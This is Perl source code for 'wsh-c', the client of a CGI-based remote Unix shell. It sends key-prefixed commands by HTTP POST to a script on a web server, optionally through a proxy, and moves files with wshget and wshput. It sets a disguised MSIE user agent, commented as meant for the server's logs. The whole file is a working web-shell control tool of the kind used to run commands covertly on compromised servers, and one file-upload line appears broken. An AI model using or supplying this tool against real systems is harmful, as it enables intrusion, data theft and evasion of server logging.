# wsh-c - cgi based remote unix shell (client part) # by Alex Dyatlov # April, 2002 # # INSTALL # Module Term::ReadLine::Gnu installation is recommended, get: # 1) readline-4.2a.tar.gz or later from # http://www.gnu.org/directory/readline.html # 2) ReadLine-Gnu-1.12.tar.gz or later from # http://search.cpan.org/search?dist=Term-ReadLine-Gnu # # SHELL COMMANDS # exit as is # history show commands history # ! execute command with history # wshget get from remote host to local directory # wshput put from local directory to remote host use strict; use IO::Socket; use Term::ReadLine; use POSIX qw(:sys_wait_h); #--- config - begin ----------------------------------->8-- my $use_proxy = 1; #--- (0 || 1) connect directly or use HTTP proxy my $host = "111.222.33.4"; #--- proxy ip here if $use_proxy = 1 my $port = 3128; #--- proxy port my $http_port = 80; #--- default HTTP port my $agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"; #--- for httpd logs my $anticache = 0; #--- (0 || 1) add '?' to URL my $shell_prompt = "wsh#"; my $pwd = "/"; #--- 'home' directory on remote host my $pattern = "STCOM"; #--- config - end ------------------------------------->8-- my $VERSION = "1.0"; $ENV{PERL_RL} = " o=0"; # use best available ReadLine without ornaments my $request = $ARGV[0]; my $shtam = $ARGV[1]; unless ($request && $shtam) { print "Usage: $0 host/dir/script KEY\n\n"; exit -1; } my $hostname; if ($request =~ /^([^\/]+)(.*)/s) { $hostname = $1; $request = $2 if (!$use_proxy); if ($hostname =~ /([^:]+):(.*)/) { $hostname = $1; $http_port = $2; } } else { print "unable to parse hostname from $ARGV[0]\n\n"; exit -1; } if (!$use_proxy) { if ($hostname !~ /\d+\.\d+\.\d+\.\d+/) { (my $name, my $aliases, my $addrtype, my $length, my @addrs) = gethostbyname($hostname) or die "unable to resolve hostname '$hostname'\n\n"; $host = join('.', unpack('C4', $addrs[0])); } else { $host = $hostname; } $port = $http_port; } else { $request = "http://".$request; } my $term = Term::ReadLine->new("wsh"); my $OUT = $term->OUT() || *STDOUT; my @h_list = (); my $io; my $file; while (defined (my $cmd = $term->readline("$shell_prompt "))) { next if (length($cmd) == 0); # wsh commands --- begin exit 0 if ($cmd =~ /^exit$/s); if ($cmd =~ /^history$/s) { my $h_counter = 1; foreach (@h_list) { print $OUT " ".($h_counter++)."\t$_\n"; } next; } if ($cmd =~ /^\!(\d+)$/s) { ($1 > 0 && $1 <= scalar(@h_list)) ? $cmd = $h_list[$1-1] : next; } $io = undef; if ($cmd =~ /^wsh((get)|(put)) ['" ]*?([^'"]+)/s) { $io = $1; $file = $4; ($pwd =~ /\/$/s) ? $cmd = "wsh$io \"$pwd$file\"" : $cmd = "wsh$io \"$pwd/$file\""; if ($io =~ /put/) { unless (open(FH, $file)) { print "$file: $!\n"; next; } $cmd = join(//, ($cmd, )); close(FH); } } # wsh commands --- end push(@h_list, $cmd); if ($cmd =~ /^cd ['"]?([^'"; ]+)$/s) { my $dir = $1; if ($dir !~ /^\//s) { $pwd = "$pwd/$dir"; $pwd =~ s/[^\/]+\/\.\.//g; $pwd =~ s/\/{2,}/\//g; $pwd =~ s/\/$//; } else { $pwd = $dir; } next; } $cmd = "if [ -d $pwd ];then cd $pwd;". "else echo 'cd: $pwd: No such file or directory';exit 0;fi;$cmd" unless (defined($io)); my $cmd_s = $pattern; $cmd_s =~ s/ST/$shtam/; $cmd_s =~ s/COM/$cmd/; my $cmd_sl = length($cmd_s); my $socket = IO::Socket::INET->new( PeerAddr => $host, PeerPort => $port, Proto => "tcp", Type => SOCK_STREAM) or die $!; ($anticache) ? print $socket "POST $request?".(int(rand(9999)))." HTTP/1.0\r\n" : print $socket "POST $request HTTP/1.0\r\n"; print $socket "Content-Type: application/x-www-form-urlencoded\r\n". "User-Agent: $agent\r\n". "Host: $hostname\r\n". "Content-Length: $cmd_sl\r\n"; ($use_proxy) ? print $socket "Proxy-Connection: close\r\n". "Pragma: no-cache\r\n" : print $socket "Connection: close\r\n"; print $socket "\r\n". "$cmd_s"; my $cl = 0; my $crlf = 0; my @msg = (); while (my $str = <$socket>) { if (!$crlf && $str =~ /^\s*?$/s) { $crlf = 1; next; } $msg[$crlf] = $msg[$crlf].$str; if (!$cl && $crlf) { $cl = length($msg[0]) + 4; if ($msg[0] =~ /Content-Length: (\d+)/s) { $cl += $1; } else { $cl = -1; } } last if ($cl > 0 && length($msg[0].$msg[1])+4 >= $cl); } close($socket); if ($msg[0] !~ /^[^ ]+ 200/s) { print $OUT "HTTP request fail:\n\n$msg[0]\n"; next; } if ($io =~ /get/) { if (length($msg[1]) > 0) { if (open(FH, "> $file")) { print FH $msg[1]; close(FH); } else { print $OUT $!; } } else { print $OUT "wshget fail\n" } } else { print $OUT $msg[1]; } }